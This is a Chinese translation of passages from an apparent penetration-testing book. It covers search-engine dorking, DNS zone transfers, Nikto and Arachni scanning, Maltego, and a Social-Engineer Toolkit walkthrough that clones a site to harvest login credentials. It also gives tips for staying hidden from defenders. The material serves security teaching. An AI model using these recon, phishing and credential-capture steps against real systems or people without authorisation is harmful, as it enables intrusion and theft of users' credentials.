凭证搜索可能不会产生凭证本身,但可能指向下一个最好的东西——恢复!

  • 网址:操作符:对目标进行早期侦察,包括从社会工程学中学到的经验教训,可能会为我们提供有关所使用的平台、涉及的开发人员或网页应用程序中的兴趣点的线索。我们可以将网址:操作符与站点:操作符结合使用,以探索这些特定的兴趣点:
site:<target site> inurl:index

Inurl: 可以帮助消除成千上万个潜在位置并聚焦。

  • 文件句柄(ext:)操作符:使用标准文件句柄允许我们调用和包括(或排除)感兴趣的文件扩展名。使用典型的文件扩展名,您可以使用 ext:操作符调用每个文件。例如,我们可以使用以下字符串在www.hackthissite.org中搜索所有带有 URL 中包含单词 index 的 PHP 文件:
site:<target site> ext:php inurl:index
  • 文件类型:操作符:如果我们正在寻找可能不会显示但链接到或存档在网站上的文件类型,我们可以使用文件类型:操作符。例如,在您的搜索中调用filetype:xls,将搜索您的搜索区域以查找 Excel 电子表格:
site:<target site> filetype:xls inurl:finance
  • 标题:操作符:当我们想要一个特定的文件时,我们可以使用标题:操作符。这对于定位特定平台配置文件非常有用,或者可以帮助暴露robots.txt文件。正如您可能还记得我们使用 HTTrack 时,该实用程序的默认行为是避免爬行网站中robots.txt文件中标识的部分。这是为了让网站开发人员防止可信浏览器搜索到某些必要但敏感的位置。如果没有采取其他预防措施,robots.txt可以为黑客提供他们可能想要查看的文件和文件夹列表。对于黑客来说,有很大的机会在其中找到一些非常有用的细节。要查看robots.txt文件中的内容,您可以简单地输入:
site:<target site> intitle:"index.of" robots.txt

前述每个操作符都可以单独或组合使用来帮助缩小搜索范围,但了解更多关于谷歌搜索引擎的处理方式也可以帮助我们消除多余的信息并理解结果。以下是一些快速提示的亮点:

  • 使用逻辑运算符OR是有帮助的(AND是默认的)。如果写出来,OR 必须始终大写才能被视为逻辑 OR,否则它将被视为搜索短语的一部分。您还可以使用|运算符,通常称为管道运算符。

  • Google 搜索将专注于搜索短语的前 10 个非平凡单词。在搜索短语中使用*****来代替可选或丢弃的单词不会计入十个单词的限制,但可以有效地扩展搜索短语,以进行更复杂的搜索。

  • 您可以在操作符或过滤器之前使用-来排除(否定)该过滤器或操作的效果。例如,我们想要确定除了 Web 服务器之外,特定域名可能呈现的其他内容:

site:packtpub.com �site:www.packtpub.com

使用“-”修饰符可以从结果集中排除一个过滤器。

  • 这与关键词NOT不同,后者实际上只能用于从搜索中排除一个词,对特殊操作符没有影响。如果我们运行以下命令,将会产生大量www的结果,与使用-作为修饰符的搜索不同:
site:packtpub.com NOT site:www.packtpub.com

仅使用 NOT 排除该字符串 - 如果您不预期它,这是没有用的。

与 Google Hacking DB 和 Netcraft 一起更智能地工作

Google 搜索技巧将始终有用,但对于黑客来说,最有用的字符串大部分都被收录在Google Hacking 数据库(也称为Exploit DB)中,这是由 Offensive Security 团队托管的项目(www.exploit-db.com/google-hacking-database/)。虽然浏览很有趣,但最好的用法是用它来启发您的搜索查询,将它们的字符串与前一节中的修饰符结合起来。

它们的大部分类别对于 Web 渗透测试很有用,但我会从Web 服务器检测查询开始:

Google Hacking DB 中有很多可以重新利用的出色搜索查询。

这些查询以及其他类别,如易受攻击的服务器敏感目录等,结合inurl:site:修饰符,可以帮助我们高层次地了解环境中的暴露情况。如果你幸运地发现了凭证或漏洞,这些信息应立即披露给您的客户。这些搜索在黑客领域的两边都在持续使用,这类信息不应该等到总结之后才披露。

总部位于英格兰巴斯的公司Netcraft提供了许多服务,但他们的免费网络扫描工具(searchdns.netcraft.com)是一个非常方便的扫描器,可以帮助更加详细地聚焦。您可以搜索域名并深入到所有可以基于对无害查询的响应进行公开分析的技术和版本的报告中。在他们的网站上快速搜索www.packtpub.com/,我们发现他们目前有两个邮件 IP 地址,正在 FreeBSD 上托管 Packt 平台。报告还告诉我们什么?

Netcraft 的在线网络扫描工具让我们对未来阶段有了很好的了解。

我们可以看到有两个跟踪器(Google 和 Amazon)。服务器端使用 XML 和 SSL,客户端使用 JavaScript,Drupal 既用作内容管理系统CMS)又用作 PHP 脚本引擎,同时还使用 HTML5 和 CSS 样式表。所有这些都有助于优化我们的渗透测试方法。

精通您自己的领域

搜索引擎易于访问,但我们还需要了解网络的域结构、寻址计划和支持服务,因为这种视角对我们探测应用程序至关重要。托管应用程序的域可能具有复杂的域结构,可以被利用。主机、网络 IP 地址和块、名称服务器以及相关元素可以帮助识别目标实体、转移到相邻主机、底层服务和守护程序,以及正在使用的开放端口和协议。我们将研究一些工具,这些工具将其中一些工具整合到一个更大的解决方案中,但是精通digfiercednsenumdnsmapWHOISDNSRecon将大大提高准确性和效力。

WHOIS 数据库自互联网早期以来就已经在使用,尽管复杂的服务提供商和托管范式意味着 WHOIS 很少包含域的最终用户及其联系信息,但正是这些信息可以启动调查。我们在经验中都使用过它,因此我们将进入下一级工具。

挖掘信息

DNS 记录为与域的各种功能相关联的 IP 地址提供了人类可关联的别名。我建议定期对 DNS 操作和相关记录类型进行全面审查,以确保您始终了解 DNS 使用中的任何新趋势,并唤起您的记忆。发现新的应用程序和协议借用 DNS 记录空间是很常见的。保持 DNS 知识的新鲜确保您能够充分利用这些新应用程序。

实用程序dig一直是 DNS 枚举的渗透测试社区的中流砥柱;很可能你已经使用过它,并且有一些你喜欢使用的开关。在进行网络渗透测试时,我们将集中在答案字段上,并且利用dig提供的各种开关,我们可以使用它来映射其他相关的记录类型。

挖掘记录类型

dig可以用于快速而轻松地查询和映射与AMXNSSOA或其他记录相关的记录类型。默认是 A 记录,表示域的主要 IPv4 地址,但您可能只想定位相关的名称服务器(NS 记录),例如尝试进行中间人攻击。例如,域的 MX 记录和指向域上的邮件服务器的指针可以用于制定钓鱼攻击以针对用户。如果我们想查看与域相关的所有记录类型,我们可以使用ANY关键字:

dig packtpub.com ANY

基本的dig输出-有用,但可以更简洁。

为了找到与 Packt Publishing 相关的邮件服务器,我们只需输入 MX 关键字来过滤那些记录类型。

基本dig输出中的每个子部分都可以通过命名特定部分来过滤,例如+nocomments+noquestion+noauthority+noadditional+nostats。要关闭所有这些部分,您可以使用+noall快捷方式,然后在末尾打开所需的部分(例如+answer),如下所示:

dig packtpub.com ANY +noall +answer

dig输出缩短,只关注我们感兴趣的记录

+short修饰符也可以消除大量多余的信息,并且值得附加到您的标准查询中,以帮助缩短输出。

dig还提供了执行区域传输的能力,如果目标没有受到保护,允许攻击者下载域的整个转发区域。这只应该发生在域上的合法域名服务器之间,成功的区域传输对攻击者来说是一笔意外之财,我们应该始终测试和寻找。为了演示区域传输,我们将使用出色的培训网站 Diji Ninja 自己的域名(digi.ninja/projects/zonetransferme.php)并输入以下内容:

dig axfr @nsztm1.digi.ninja zonetransfer.me

进行区域传输是一件了不起的事情,当它成功时。

dig提供了一个清晰简单的工具集,但通常,目标环境比dig可以呈现的要大,或者我们正在寻找更深入的结果。这就是dnsrecon的用武之地。我建议使用dnsrecon重复相同类型的练习,以了解它与 dig 的比较,并帮助您确定哪个工具将成为您的主要工具。

变得凶猛

digdnsrecon是很棒的工具,但如果我们能进一步并拥有一个工具,它尝试连接到站点的地址块,自动执行区域传输,并在记录时执行所有这些操作,那不是很好吗?Fierce(由 Robert RSnake Hansen 用 Perl 编写)可以做到这一点。在调用 Fierce 时可以使用许多选项和修改器,但在大多数情况下,我使用 dig 进行初始发现,然后转到 Fierce 尝试进行区域传输和一些连接探测,然后转到更具图形化和组织性的工具,如 Maltego,来构建我的网络地图和枚举关系。要使用 Fierce 尝试进行区域传输并将日志发送到文件,您只需调用该工具,它将自动执行:

fierce -dns zonetransfer.me -file /root/Desktop/packtpub.txt

因为这个网站允许区域传输,所以我会在运行输出和我指定的txt文件中看到结果:

Fierce 自动化了需要进行多次 dig 或 dnsrecon 查询的操作。

Fierce 还允许您尝试使用-connect开关连接任何公共 IP 上的开放端口。您需要提供wordlist,以便 Fierce 有一些潜在的凭据可供尝试,并且您需要在专用机器上或在夜间运行此操作,因为该过程可能需要很长时间,具体取决于域的大小。我们可以使用以下方式启动此操作:

fierce -dns <target domain> -connect <wordlist>

Nikto 的下一步

一旦我们获得了完整的 DNS 记录和其他相关情报,通常会转入扫描漏洞(也称为vulns)。Nikto是我首选的扫描器,我通常会保留这些结果,以便调整扫描漏洞的工具,同时转入后续阶段。Nikto 可以导出多种文件类型,包括 HTML、XML、TXT 和 CSV,并且使用它开始了主动侦察阶段。

注意

因为它是一个主动工具,它的使用构成了一个合法的挑衅行为,因此建议只在实验室机器上进行实践,并且只对您有明确许可的系统进行测试。我没有足够的抵押品来代表您发布保释金。

要使用 Nikto,我们需要确定主机或主机列表(在主机文件中定义),以及输出日志的位置,但有一个广泛的菜单项目列表值得考虑,以定制我们的扫描。除了输出文件和日志参数之外,实际上还有预定义的调整可用于针对指定主机运行一些常见的最佳实践测试集。这些选项是使用 Nikto 进行扫描的最佳捷径,并在主页中有详细说明:

-TuningTuning options will control the test that Nikto will use against a target. By default, if any options are specified, only those tests will be performed. If the "x" option is used, it will reverse the logic and exclude only those tests. Use the reference number or letter to specify the type, multiple may be used:0 - File Upload1 - Interesting File / Seen in logs2 - Misconfiguration / Default File3 - Information Disclosure4 - Injection (XSS/Script/HTML)5 - Remote File Retrieval - Inside Web Root6 - Denial of Service7 - Remote File Retrieval - Server Wide8 - Command Execution / Remote Shell9 - SQL Injectiona - Authentication Bypassb - Software Identificationc - Remote Source Inclusionx - Reverse Tuning Options (i.e., include all except specified)

默认扫描将运行所有测试,但如果有限制,这些调整可以帮助保持测试的合规性。当您需要匿名时,可能还希望利用一个有意义的代理(您已经建立的代理或许多免费代理之一(例如proxy-list.org上的代理),或者更好的是,您已经为此目的而受到限制的主机)。为此,您将使用您喜欢的编辑器在config.txt中指定代理服务器(或显式调用替代方案)。Nano是我的第一选择,但vimemacs也可以很好地工作:

nano /etc/nikto/config.txt

滚动到P****roxy settings部分,并输入适当的详细信息:

# Proxy settings -- still must be enabled by -useproxy PROXYHOST=<IP address of proxy>PROXYPORT=<usually 8080, can be anything if using something like squid>

然后,我们可以使用配置的代理启动我们的扫描,如下所示:

nikto -Tuning x 6 9 -useproxy -h http://192.168.1.132

Nikto 是一个多才多艺、强大的扫描器——在封闭环境中进行实践会产生巨大的差异。

与任何工具一样,有时重要的是意识到要避免哪些开关。对于黑盒测试(使用更真实的隐蔽特权进行的渗透测试,其中测试人员试图模拟攻击者,并且没有任何有利的访问权限),必须避免导致过多查询和啰嗦扫描的选项,大多数情况下+mutate开关不值得麻烦。如果进行白盒测试(对操作员已知,不专注于隐秘,并且只是在公开中探索),那么提供更广泛的覆盖范围是有意义的。

利用 Maltego 进行组织

Maltego是我最喜欢的侦察工具之一,因为它帮助可视化不同数据源之间的许多链接和关系。Jason Beltrame和我在Penetration Testing with Raspberry Pi â�� Second Edition中对其进行了介绍(www.packtpub.com/networking-and-servers/penetration-testing-raspberry-pi-second-edition),但自那时起,我已经开始在无法想象的用例中使用它。尽管投入其中很有趣,但肯定有一些最佳实践有助于避免信息过载。Kali 发行版中最新版本 4.0.11 包括新的足迹技术,如Company StalkerFind Wikipedia EditsTwitter DiggerMonitor。所有转换都可以在 Web 渗透测试中使用,但这些新的以社交为重点的起点强调了Paterva的努力,使 Maltego 成为所有黑客社区不可或缺的工具。

我倾向于将其用作从社会工程、LinkedIn/电子邮件搜索中获取的信息的图形文档,并将它们固定在域上。对实体进行转变和转换的能力甚至帮助我发现了多个跨多个托管公司的域,经过两三层混淆后实际上是由同一网络的骗子运营的。通过转换的递归可以帮助找到可能具有本地帐户的其他用户,或者指示可能填充我们的字典的亲戚或朋友的姓名和信息。一个快速的例子是对 Packt Publishing 的网域进行公司跟踪机器:

这个 Maltego 图已经缩小,以保护无辜者,同时也展示了它所跟踪的信息的关联性质。

如您所见,基础机器的进程中发现了几个文档(橙色点),每个文件都有关联的元数据,如人员(绿色)、证书(黄色)和位置(红色)。如果我们深入研究一个人,我们可以要求进行搜索所有潜在的电子邮件地址的转换(蓝色)。我发现当您向 Maltego 提供来自其他 OSINT 来源的额外种子信息以帮助聚焦或推动模型链接原始机器和其他信息时,Maltego 非常有帮助。您可以添加任何形式的身份,但额外的 Web 域或电子邮件地址、社交网络用户名或 IP 块和接口可以极大地提高 Maltego 图的准确性和有用性。

与目标社交


如果您没有使用社会工程师工具包SETwww.trustedsec.com/social-engineer-toolkit/),那么您就错过了一些重要的东西。我们当然可以用它来欺骗 Google、Facebook 和 Twitter 来吸引受害者并发动攻击或窃取他们的凭证,但我们也可以用它来欺骗我们的目标 Web 应用程序,以劫持会话并映射用户行为。当受害者在咖啡店的舒适椅子上无意中浏览这些重复的网站时,攻击者可以收集受害者的密码,甚至注入一个命令 shell,从而完全访问受害者的系统。对于安全专业人员来说,这是一个很好的工具,可以演示用户通常不会注意输入敏感信息的位置,只要页面看起来合法。让我们看看如何使用 SET 对我们从www.hackthissite.org下载的镜像进行攻击。这是一个我们可以用来帮助设想这种攻击的图表:

SET 可以用于许多攻击,但谁不喜欢经典的 MITM 呢?

我的典型用途是选择选项1)社会工程攻击,然后选择2)网站攻击向量。我要找的是3)凭证窃取攻击方法,这样我们就可以获取我们可怜的目标用户的登录凭证。我们可以使用内置模板或导入自定义站点(对企业门户或使用较少的 Web 应用程序很有用);但为什么我们不想使用我们已经捕获的镜像呢?我们会选择选项3)自定义导入。这将把我们的 Kali Linux 虚拟机变成www.hackthissite.org的恶意前端,表现得像真的一样,并且可以抓取凭证或任何其他基于 HTML 的信息字段:

**`**

使用先前镜像的 SET 配置-修改和调整以使其更具说服力。

快速检查我们的镜像显示它现在已经运行起来了;我们现在的任务是说服用户将他们的初始会话重定向到这里。

快速检查我的网站副本显示我们的 MITM 克隆已经准备就绪。

登录字段中输入一些凭证并提交它们,我可以看到它们被实时捕获并记录在日志文件中。

任何到达的 HTTP 消息都会被捕获,因此凭证或个人信息就是我们的了。`## 摘要


正如我在本章开头提到的,侦察阶段可以决定后续阶段的成败。信息收集将为您的破解和模糊操作提供数据,将搜索范围缩小到更易管理的范围。在专注于测试中节省的工作转化为更严格的测试标准,更成功的测试方法,更少的翻转和试错,以及更有意义的报告。客户通常在这个阶段学到的东西和在剩下的阶段学到的一样多,这提出了一个关键问题。关于他们的系统和使用它们的人在线上可获得的信息的质量和数量可能会对未来产生重大影响。积极采取行动来限制或减少这种曝光将改善他们的安全状况,并且应该得到鼓励和指导。

在本章中,我们探讨了一些最流行的 OSINT 收集工具的更深层用途。我们看到了如何快速映射 Web 应用程序托管架构中的各种网络和域组件,甚至开始使用更紧凑的命令行选项扫描基础设施,以获得比默认设置更简洁和有用的数据。我们还深入研究了更好地使用搜索引擎,并利用了一些流行的在线资源,这些资源记录了一些真正可怕的查询字符串。我们讨论了许多形式的社会工程学,并建立了自己的 MITM 攻击,以捕获基于我们镜像网站的凭据。最后,我们看了 Maltego 如何开始解开目标环境的层,并帮助可视化我们的对手。

在下一章中,您将学习如何使用 Arachni 框架更有效地对 Web 应用程序进行快速扫描。作为一个拦截代理来与服务器和客户端之间的对话进行交互,我们将看到 Arachni 如何进一步自动化一些攻击,提供额外的测试向量,启动扫描,跟踪 DOM 和 JavaScript 环境中的流程。作为一个额外的奖励,您将学会使用 Arachni 来模拟移动平台,甚至生成更高质量的报告,无论是作为独立报告还是作为多工具渗透测试交付的基础。本章的工作即将取得回报,朋友们!

第四章:使用 Arachni 扫描漏洞

Web 应用程序漏洞扫描器是一个大生意。 快速研究替代方案将告诉你,有数百种开源和商业扫描器,它们提供不同程度的漏洞覆盖,并且具有延伸到渗透测试 Kill 链的不同阶段的功能。 与安全领域的任何趋势一样,市场的爆炸是完全不同的东西的症状:Web 应用程序本质上易于访问,也是黑客利用的热门目标。 成功入侵或妥协的回报是巨大的。

参与网络安全解决方案的大公司都会发布年度报告,总结过去一年的事件,并预测未来几年将塑造业务的预期趋势。 Verizon、戴尔、思科、FireEye、赛门铁克和惠普只是每年更受期待的发布之一。 虽然它们通常不涉及特定威胁的技术细节和战术,但它们确实有助于阐明当前的威胁领域、高级交付模式以及对任何这些变化的感知动机。 2016 年和 2017 年的多份报告一致指出,攻击者转向利用用户浏览器和插件的漏洞,以及恶意广告、嵌入式广告和包含恶意软件或链接到恶意网站的框架。

这些趋势指向了一些事情。 首先,用户及其终端设备(移动设备、笔记本电脑、家庭设备)是我们安全故事中最薄弱的环节。 其次,随着同一用户要求随时随地访问,保护弹性边界变得困难,因为不再有需要防御的边界,而是一个非常灵活的环境。 黑客本质上会利用我们对这些新行为转变和相应弱点的信任;此时黑客企图入侵企业更加复杂和微妙,因此根据他们的动机,寻求快速致富的人会转向最易攻击的路径:Web 应用程序和应用-客户端范式。

那么,我们的客户做出了什么样的回应? 他们开始购买可以帮助他们开始保护其环境的工具,但前提是这些工具必须被正确使用。 在 Kali Linux 中,我们有一些出色的、备受推崇的扫描器,可以帮助我们的客户更好地了解他们面临的漏洞和更好地了解他们的架构。 虽然我们有一些很好的选择,但混合它们以确保我们覆盖多个工具的矢量是有帮助的,这些工具可以相互补充,减少我们的盲点。 其中一个最好的工具,我相信你过去使用过,如果你进行过 Web 应用程序漏洞扫描,那就是Arachni

在本章中,我们将看到如何使用 Arachni 来实现以下目标:

  • 有效地爬行 Web 应用程序进行快速初始扫描

  • 使用主动扫描技术进一步探测并发现更多矢量

  • 在 DOM 和 JavaScript 环境中启动扫描和跟踪流

  • 模仿移动平台的浏览器约束

  • 生成高质量的报告,可以作为独立报告或多工具渗透测试交付的基础

走进蜘蛛网


Arachni 是一个专注于我们渗透测试的侦察阶段的开源扫描器,其方式与其他任何工具都不同。如果您使用 Arachni 而不注意它与众不同的地方(就像我一样),那么您可能会发现改变工作流程会极大地改善结果。工具的创建者Tasos Laskos开发了该工具以解决一些相反的目标。首先,扫描可能需要过多的时间(甚至数小时甚至数周),这使得这些扫描不太有用。时间被浪费了,使得测试变得更加冗长。其次,更多的数据和覆盖范围是一件好事,因为它增强了准确性,但也为测试过程增加了额外的时间来完成必要的交易。

Laskos 开发 Arachni 以减少扫描所需的时间,同时允许工具扩展,以便能够更有效地处理更多的测试向量。通过使用异步 HTTP 请求来执行工具的命令,并允许 Arachni 跨系统集群扩展,以便它们可以并行处理,从而改进了其时机。通过开源工具并使用 Ruby 框架增强了准确性目标,可以让任何人向工具添加新的或更优化的测试。通过机器学习技术进一步改进了测试的时机、准确性和覆盖范围,使扫描工具 Arachni 成为一个强大的工具,我们将更深入地探索以提高测试效果和时机。

Arachni 部署的最佳实践

当我们只是使用 Arachni 进行练习时,我们可能会调用托管在同一 Kali Box 上的单个服务器和客户端。应该运行Web UI Client可执行文件,以确保 Arachni 的操作方式与实际测试场景中的操作方式相同。虽然有命令行选项可用,但在规模上有限,并且在单服务器部署中效果最佳。

Arachni 的高级架构可以在这里看到:

Arachni 的架构是其秘密武器,它有助于扩展和速度。

这里的操作大脑是Web UI Clientarachni_web)。它提供了一个单一的联系点,将其网格的Dispatch Serversdispatchers)与初始扫描请求联系起来。然后,调度程序在服务器上生成一个新的实例。此时,Web UI Client 将能够直接与生成的实例通信,为适当的扫描工作进行配置。当一个实例完成其任务时,Web UI 客户端会拉取数据并存储它,而实例只是消失了,将其消耗的资源返回给操作系统,以供将来的实例或其他软件任务使用。

随着我们进入生产测试阶段,我们可以扩展部署以利用网格中其他服务器上的额外资源,这不仅可以让我们运行多个扫描,还可以容纳用户团队,并将收集的数据集中存储在 Web UI 客户端的中央数据库中。SQLite3 是默认选项,但如果您将来要将此安装转换为网格或大规模安装,强烈建议您从 PostgreSQL 开始。如何执行此操作的文档位于此处:github.com/Arachni/arachni-ui-web/wiki/database

注意

一旦您选择了其中一个数据库,您就会被锁定;改变主意意味着失去所有先前的数据。如果您认为情况会朝这个方向发展,那么在一开始构建出 PostgreSQL 环境是值得的。

Arachni 与其他黑盒动态应用程序安全测试DAST)扫描器不同,它大量使用异步 HTTP 来进行扫描。这允许每个实例并行发送 HTTP 请求到目标。因为你可以同时进行多个扫描,这大大提高了我们从开始到完成的速度。大多数扫描器花费大量时间等待扫描线程完成。鉴于这些扫描器通常运行一组扫描并且不像 Arachni 那样即时调整扫描列表,这更加严重。

可以支持的实例数量实际上取决于可用服务器的数量,它们的资源可用性以及用于发起扫描的出站带宽。我要警告的是,如果你担心带宽,那么生成的流量很可能超过非常大的数量,应该进行限速,以避免损害真实用户的应用程序性能或者警告安全运营人员。没有什么比应用程序扫描器发起的分布式拒绝服务DDoS)攻击更能表明我是来损害你的应用程序的。正如他们所说,伴随着巨大的力量而来的是巨大的责任!

堆栈和框架的再现


我们在任何主动侦察中的第一步很可能只是尝试进行扫描,但在接受任何工作或任务之前,最好先简单浏览一下网站的主页。使用浏览器插件,比如Wappalyzerwappalyzer.com),我们可以轻松地看到网站的初始足迹,并发现 Web 应用程序构建的平台或框架(如第一章,常见的 Web 应用程序和架构中所讨论的)。在我们开始详细介绍 Arachni 最佳实践之前,我们将使用Damn Vulnerable Web ApplicationDVWA),所以在我们进行扫描之前,让我们看看浏览器和 Wappalyzer 能告诉我们什么!

如下截图所示,DVWA 显然是在 Linux 操作系统上运行,使用 Apache 作为 Web 服务器,MySQL 作为数据库,并使用了多种脚本语言(Python,Perl,Ruby 和 PHP)。这看起来非常像您典型的LAMP堆栈,我们将制定一个扫描,以实现这些细节并帮助缩短扫描时间。其他传统堆栈,无论是基于 Windows 还是 Linux/Unix,使用诸如 PHP 或 ASP.NET 的语言,都正在让位于基于 Ruby,Java,JavaScript 和 Python 的新堆栈,这些堆栈专门用于移动服务,超可扩展的架构以及其他现代关注点,以至于有太多要提及。为了增加乐趣,Web 堆栈或框架对每个人来说意味着不同的东西。静态编码 HTML 的日子正在让位于围绕称为文档对象模型DOM)的元素的新方法,其中脚本语言(JavaScript,Python 等)动态构建在浏览器中呈现的 HTML 或 XML。无论使用的是哪个版本的堆栈,能够快速确定正在运行的内容,可以指引我们朝着常见漏洞和利用(CVEs)以及我们在测试中可以利用的其他特征的正确方向。

当我们让浏览器帮助我们快速了解目标时,扫描会更加高效。

DVWA 还使用 OpenSSL,在过去的两三年中,它值得仔细研究,因为它已经遭受了几个备受关注的漏洞,比如Heartbleed等(www.openssl.org/news/vulnerabilities.html),这些漏洞在全球范围内占据了新闻头条。对于一些如此技术性的东西能够成为新闻头条总是相当令人印象深刻,但我们追求的是即使是小事情-这些事情同样容易被利用,而且通常会被忽视,以便解决更高调的漏洞。Firefox 中的上一张截图与 Wappalyzer 插件向我们展示了所有这些有趣的信息。

要了解流行网站上运行的堆栈情况,您可以在stackshare.io上了解更多。如果您想了解有多少种堆栈和观点,这个 Reddit 主题是教育性的,令人印象深刻的,并且可以在www.reddit.com/r/webdev/comments/2les4x/what_frameworks_do_you_use_and_why_are_they/上找到。

Arachni 测试场景


我们使用的 DVWA 包含在OWASP BWA镜像中,位于我的实验室地址https://172.16.30.131/dvwa/。我们的 Kali 盒子位于同一子网(172.16.30.133),我们希望在默认配置文件上缩短扫描时间。我们将在下图中使用这个非常简单的拓扑图,以展示 Arachni 在基本扫描之上通过一点额外的努力和输入可以做出的一些高级动作。

简单的 Arachni 测试场景

效率配置文件

大多数渗透测试人员早期使用 Arachni 的经验通常涉及使用默认设置运行扫描,这些设置会在目标环境中运行全面的威胁向量列表。这是了解 Arachni 能做什么的好方法,但在 Recon 阶段收集的 OSINT 甚至是通过浏览获得的信息,正如我们刚刚看到的那样,可以为我们提供一些有用的信息,帮助我们缩小搜索范围。我们可以利用这些信息来制定自定义配置文件,就 Arachni 而言,这是大部分功能的所在。

为什么我们要这样做?消除我们知道不感兴趣的向量(未使用的数据库测试、操作系统向量等)既可以减少扫描时间,又可以避免用过多的请求压垮目标。这些信息也可以引导我们以更低的速度进行更深入的调查。我们将一起走过这个过程,并确定一些值得考虑的选项。

创建一个新配置文件

让我们为运行最常见堆栈之一的系统构建一个配置文件。我们在 DVWA 网站上看到的 LAMP 堆栈仍然是大多数 Web 应用程序的运行堆栈,而Windows/IIS/SQL/ASP.NETWISA)紧随其后,因此这是一个很好的配置文件。我们将要点击Profiles菜单顶部的+按钮,如下所示:

大多数 Arachni 默认情况下都是开启的-我们可以根据 Recon&OSINT 使用 Profiles 进行定制或聚焦。

这将使我们从图中的Profiles导航菜单的Top开始,位于浏览器窗口左侧(1)。我们需要决定一个配置文件名称(2),输入一个描述以帮助跟踪意图(3,对于团队和大型生产网格来说是个好主意),以及可以访问它的用户(4);选择Global。需要注意的是,这些配置文件是 Web UI Client 本地的,因此您的队友需要能够从他们的位置访问门户网站。

并不是最令人兴奋的部分,但命名约定和文档使生活更轻松。

范围和审计选项

范围部分定制得太细致,以至于无法用于适用于多个应用程序的配置文件。该部分包括仅扫描 HTTPS、设置路径和子域限制、根据字符串排除路径或限制 DOM 树深度的选项。如果您正在进行白盒测试或作为 SDLC 的一部分对同一应用程序进行内部渗透测试,这些选项是帮助将测试重点放在受影响的区域而不是扫描过大范围和包含多余结果的绝佳方式。牢记这一点,让我们继续。

我们将在接下来的图中使用审计选项来设置我们的高级扫描策略。当我们测试服务器时,如果我们省略了那些不必要地延迟我们进度的资源密集型元素,我们的扫描可以变得更加高效。如果我们知道一个网站同时使用 HTTP 的GETPOST,我们可以只测试其中一个查询。测试过程对我们每个人来说都是不同的 - 我们可能会将我们的 Arachni 扫描与 Burp Suite 或 OWASP ZAP 扫描重叠,并且不再需要扫描标头或处理 Cookie;我们将在第五章中介绍这一点,使用 OWASP ZAP 和 Burp Suite 进行代理操作。接下来,我们也将取消这里的复选框。

审计部分是我们决定对 Web 服务器进行测试的方面。

将社会工程转化为用户输入和移动平台模拟

根据我们在侦察阶段的成功,我们的一些 OSINT 可能包括网页用户的凭据。这些凭据通常可以在类似于我们在第三章中讨论的使用 SET 的 MITM 攻击中被获取。虽然在没有凭据的情况下扫描网站是可以接受的,但作为登录用户进行扫描可能会带来一些意想不到的发现。没有凭据的话,你可能只能看到大部分静态内容,以及在黑盒测试中暴露的更少的敏感信息。白盒测试可以更好地保护数据,以防凭据被泄露,因此如果这些凭据可用的话,输入字符串在这里同样具有价值。接下来的 HTTP 部分同样可以帮助定制 HTTP 请求,更好地模仿合法的客户端,处理路径中的任何代理,并限制一些请求速率和文件大小,以确保扫描器和目标都不会被压垮,或者在他们的情况下,察觉到我们的存在。如果你需要模拟不同的浏览器和平台组合,你可以在这里提供这些修改(网站www.useragentstring.com/pages/useragentstring.php提供了详尽的列表)。正如我们将看到的,输入字段中输入的简单内容将导致我们在应用程序中深入挖掘时扫描的范围更广。

在接下来的图中,还有一系列其他字段我们可能也需要注意。地址、姓名和其他静态信息很受欢迎,但更动态的输入过程,如 CAPTCHA 字段,专门设计用于防止非人类填写表单。这可能会限制扫描器的范围,但请放心,还有许多其他方法可以克服这一障碍,以便我们可以测试以确保目标真正受到保护。

当我们有用户潜在的凭据可以利用时,输入部分非常方便

指纹识别和确定平台

指纹识别部分是我们可以集中扫描并在日程表中节省时间的最有影响力的方式之一。如果您还不知道目标的堆栈,指纹识别本身就是一个很棒的工具。正如我们之前在浏览器中发现的那样,我们正在运行 LAMP,并且可以在选择只与该框架相关的测试时省略指纹识别。请注意,在下面的图中,我正在尝试针对检测到的所有 4 种语言(Perl、PHP、Python 和 Ruby)进行测试:

指纹识别允许我们明确选择测试——如果我们不必使用所有测试,那就没有意义。

检查(请)

检查部分提供了我们将测试的漏洞的细节。每个检查都是主动检查或被动检查,我们可以根据需要启用所有或部分检查。在这种情况下,我们对 DVWA 的框架有大量信息,但我们不知道它们将受到什么样的影响。如果这真的是一个黑盒扫描,并且我们试图保持隐蔽,我可能会在早期的扫描中省略所有主动检查(见下图),并等到我能够从一个不那么可疑的主机更接近 Web 服务器时再进行扫描。

主动检查决定了 Arachni 将主动与目标进行交互以发现的漏洞。

被动扫描部分要少得多,虽然这些测试可能需要一些时间,但在早期的侦察工作中非常值得使用。这可以在下图中看到,要获取更多详细信息,您可以单击每种类型的名称以获取额外信息。

被动检查是在不与应用程序的输入字段进行交互的情况下收集的。

连接到 Arachni 扩展和第三方插件

Arachni 的基于 Ruby 的框架(因为,惊喜,Arachni 也是一个 Web 应用程序!)是任何人都可以构建额外功能的简单工具。广泛接受的插件,当满足开发人员的高标准时,甚至会进入插件部分的 Web UI 客户端。在这个版本的 Arachni 中,我们已经集成了几个插件,可以帮助我们的扫描减少对目标的影响(自动节流阀或速率限制器),或者添加功能来扫描其他怪癖和漏洞。甚至可以在运行时修改字段和测试参数。其中一些只是被检查了(见下图*),其他需要在展开它们后进行额外配置(只需单击每个插件的超链接名称以获取详细信息)。

我为此配置选择了AutoThrottleWAF Detector

插件修改任何配置文件,以允许即时参数模糊、速率限制或其他特殊测试。

进行 WAF 检测的另一种方法是使用我们可靠的Nmap工具。Nmap 包括了一些用于此目的的脚本。一个脚本仅检测 WAF 的存在,而另一个脚本则在发现 WAF 时通常会告诉我们正在使用的品牌或版本。通过多个脚本和工具进行确认通常可以增加整体测试的可信度。要使用这些脚本,请输入以下命令:

nmap �p 80,443 --script http-waf-detect <hostname or ip address> nmap --script=http-waf-fingerprint < hostname or ip address> 

浏览器集群

所有这些扫描和测试都是作为实例实际上是与 Web 应用程序和用户进行交互的浏览器会话进行的。我们实际上可以修改浏览器的模拟行为、时间限制、大小,甚至是浏览器集群中使用的独立浏览器的数量。对于快速扫描,我建议勾选允许扫描程序省略图像的复选框。

会话检查也是一种潜在有价值的能力,其选项如下图所示。没有比扫描一个应用程序,然后发现该应用程序背后的逻辑已经将您的会话、扫描或流量转移到目标控制之外的链接域更糟糕的了。我们可以在这里输入确认页面,以确保我们定期返回到锚定页面,以确定我们的状态,并确保我们仍然在目标应用程序的结构内进行扫描,而不是进入链接应用程序的偏离。

浏览器和会话设置确保我们向正确的站点展示我们最好的一面。

